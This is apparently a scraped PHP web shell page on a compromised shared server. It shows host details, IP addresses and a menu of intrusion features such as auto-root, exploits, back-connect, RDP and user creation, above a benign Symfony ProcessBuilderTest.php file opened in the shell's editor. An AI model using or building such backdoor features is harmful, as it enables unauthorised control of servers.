Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
vendor /
symfony /
process /
Tests /
[ HOME SHELL ]
Name
Size
Permission
Action
ErrorProcessInitiator.php
926
B
-rwxr-xr-x
ExecutableFinderTest.php
4.61
KB
-rw-r--r--
NonStopableProcess.php
1.04
KB
-rw-r--r--
PhpExecutableFinderTest.php
2.13
KB
-rw-r--r--
PhpProcessTest.php
1.28
KB
-rw-r--r--
PipeStdinInStdoutStdErrStreamS...
1.71
KB
-rw-r--r--
ProcessBuilderTest.php
6.65
KB
-rw-r--r--
ProcessFailedExceptionTest.php
4.52
KB
-rw-r--r--
ProcessTest.php
48.27
KB
-rw-r--r--
ProcessUtilsTest.php
1.39
KB
-rw-r--r--
SignalListener.php
399
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ProcessBuilderTest.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process\Tests; use PHPUnit\Framework\TestCase; use Symfony\Component\Process\ProcessBuilder; /** * @group legacy */ class ProcessBuilderTest extends TestCase { public function testInheritEnvironmentVars() { $proc = ProcessBuilder::create() ->add('foo') ->getProcess(); $this->assertTrue($proc->areEnvironmentVariablesInherited()); $proc = ProcessBuilder::create() ->add('foo') ->inheritEnvironmentVariables(false) ->getProcess(); $this->assertFalse($proc->areEnvironmentVariablesInherited()); } public function testAddEnvironmentVariables() { $pb = new ProcessBuilder(); $env = [ 'foo' => 'bar', 'foo2' => 'bar2', ]; $proc = $pb ->add('command') ->setEnv('foo', 'bar2') ->addEnvironmentVariables($env) ->getProcess() ; $this->assertSame($env, $proc->getEnv()); } public function testNegativeTimeoutFromSetter() { $this->expectException('Symfony\Component\Process\Exception\InvalidArgumentException'); $pb = new ProcessBuilder(); $pb->setTimeout(-1); } public function testNullTimeout() { $pb = new ProcessBuilder(); $pb->setTimeout(10); $pb->setTimeout(null); $r = new \ReflectionObject($pb); $p = $r->getProperty('timeout'); $p->setAccessible(true); $this->assertNull($p->getValue($pb)); } public function testShouldSetArguments() { $pb = new ProcessBuilder(['initial']); $pb->setArguments(['second']); $proc = $pb->getProcess(); $this->assertStringContainsString('second', $proc->getCommandLine()); } public function testPrefixIsPrependedToAllGeneratedProcess() { $pb = new ProcessBuilder(); $pb->setPrefix('/usr/bin/php'); $proc = $pb->setArguments(['-v'])->getProcess(); if ('\\' === \DIRECTORY_SEPARATOR) { $this->assertEquals('"/usr/bin/php" -v', $proc->getCommandLine()); } else { $this->assertEquals("'/usr/bin/php' '-v'", $proc->getCommandLine()); } $proc = $pb->setArguments(['-i'])->getProcess(); if ('\\' === \DIRECTORY_SEPARATOR) { $this->assertEquals('"/usr/bin/php" -i', $proc->getCommandLine()); } else { $this->assertEquals("'/usr/bin/php' '-i'", $proc->getCommandLine()); } } public function testArrayPrefixesArePrependedToAllGeneratedProcess() { $pb = new ProcessBuilder(); $pb->setPrefix(['/usr/bin/php', 'composer.phar']); $proc = $pb->setArguments(['-v'])->getProcess(); if ('\\' === \DIRECTORY_SEPARATOR) { $this->assertEquals('"/usr/bin/php" composer.phar -v', $proc->getCommandLine()); } else { $this->assertEquals("'/usr/bin/php' 'composer.phar' '-v'", $proc->getCommandLine()); } $proc = $pb->setArguments(['-i'])->getProcess(); if ('\\' === \DIRECTORY_SEPARATOR) { $this->assertEquals('"/usr/bin/php" composer.phar -i', $proc->getCommandLine()); } else { $this->assertEquals("'/usr/bin/php' 'composer.phar' '-i'", $proc->getCommandLine()); } } public function testShouldEscapeArguments() { $pb = new ProcessBuilder(['%path%', 'foo " bar', '%baz%baz']); $proc = $pb->getProcess(); if ('\\' === \DIRECTORY_SEPARATOR) { $this->assertSame('""^%"path"^%"" "foo "" bar" ""^%"baz"^%"baz"', $proc->getCommandLine()); } else { $this->assertSame("'%path%' 'foo \" bar' '%baz%baz'", $proc->getCommandLine()); } } public function testShouldEscapeArgumentsAndPrefix() { $pb = new ProcessBuilder(['arg']); $pb->setPrefix('%prefix%'); $proc = $pb->getProcess(); if ('\\' === \DIRECTORY_SEPARATOR) { $this->assertSame('""^%"prefix"^%"" arg', $proc->getCommandLine()); } else { $this->assertSame("'%prefix%' 'arg'", $proc->getCommandLine()); } } public function testShouldThrowALogicExceptionIfNoPrefixAndNoArgument() { $this->expectException('Symfony\Component\Process\Exception\LogicException'); ProcessBuilder::create()->getProcess(); } public function testShouldNotThrowALogicExceptionIfNoArgument() { $process = ProcessBuilder::create() ->setPrefix('/usr/bin/php') ->getProcess(); if ('\\' === \DIRECTORY_SEPARATOR) { $this->assertEquals('"/usr/bin/php"', $process->getCommandLine()); } else { $this->assertEquals("'/usr/bin/php'", $process->getCommandLine()); } } public function testShouldNotThrowALogicExceptionIfNoPrefix() { $process = ProcessBuilder::create(['/usr/bin/php']) ->getProcess(); if ('\\' === \DIRECTORY_SEPARATOR) { $this->assertEquals('"/usr/bin/php"', $process->getCommandLine()); } else { $this->assertEquals("'/usr/bin/php'", $process->getCommandLine()); } } public function testShouldReturnProcessWithDisabledOutput() { $process = ProcessBuilder::create(['/usr/bin/php']) ->disableOutput() ->getProcess(); $this->assertTrue($process->isOutputDisabled()); } public function testShouldReturnProcessWithEnabledOutput() { $process = ProcessBuilder::create(['/usr/bin/php']) ->disableOutput() ->enableOutput() ->getProcess(); $this->assertFalse($process->isOutputDisabled()); } public function testInvalidInput() { $this->expectException('Symfony\Component\Process\Exception\InvalidArgumentException'); $this->expectExceptionMessage('"Symfony\Component\Process\ProcessBuilder::setInput" only accepts strings, Traversable objects or stream resources.'); $builder = ProcessBuilder::create(); $builder->setInput([]); } public function testDoesNotPrefixExec() { if ('\\' === \DIRECTORY_SEPARATOR) { $this->markTestSkipped('This test cannot run on Windows.'); } $builder = ProcessBuilder::create(['command', '-v', 'ls']); $process = $builder->getProcess(); $process->run(); $this->assertTrue($process->isSuccessful()); } }
Close